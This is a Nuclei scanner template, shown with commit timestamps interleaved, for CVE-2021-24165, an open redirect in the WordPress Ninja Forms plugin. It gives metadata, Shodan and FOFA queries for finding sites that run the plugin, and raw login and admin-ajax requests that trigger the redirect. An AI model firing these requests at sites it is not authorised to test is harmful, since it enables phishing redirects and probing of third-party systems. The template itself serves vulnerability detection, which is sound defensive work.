2022-08-06 16:54:58 +00:00
id : CVE-2021-24165
2022-02-12 16:33:19 +00:00
info :
2022-10-19 21:11:27 +00:00
name : WordPress Ninja Forms <3.4.34 - Open Redirect
2022-04-18 07:04:09 +00:00
author : dhiyaneshDk,daffainfo
2022-08-10 08:08:03 +00:00
severity : medium
description : |
2022-10-19 21:11:27 +00:00
WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
2022-08-25 08:56:24 +00:00
- https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
2022-10-19 21:11:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24165
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-08-25 08:56:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24165
cwe-id : CWE-601
2024-01-14 13:49:27 +00:00
epss-score : 0.00129
2024-03-23 09:28:19 +00:00
epss-percentile : 0.46774
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : ninjaforms
product : ninja_forms
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-05-31 19:23:20 +00:00
publicwww-query : /wp-content/plugins/ninja-forms/
shodan-query : http.html:/wp-content/plugins/ninja-forms/
fofa-query : body=/wp-content/plugins/ninja-forms/
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms
2022-02-12 16:33:19 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-15 11:10:56 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
2022-02-12 16:33:19 +00:00
2022-02-15 11:10:56 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-06-06 10:40:15 +00:00
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
2022-02-15 11:10:56 +00:00
Host : {{Hostname}}
2022-02-12 16:33:19 +00:00
matchers :
2022-04-18 07:04:09 +00:00
- type : dsl
dsl :
- 'status_code_1 == 302'
- 'status_code_2 == 302'
2023-06-19 21:10:30 +00:00
- "contains(header_2, 'Location: https://interact.sh?client_id=1')"
2022-04-18 07:04:09 +00:00
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100dbe91ea50dd379c515d3eee6699a845d148a111391c7303db2a193b9eda920ea022061e3ec8779c027810f1f1f1cba44c0df3db63590a5d0808e1bb4ee5e8ee9f522:922c64590222798bb761d5b6d8e72950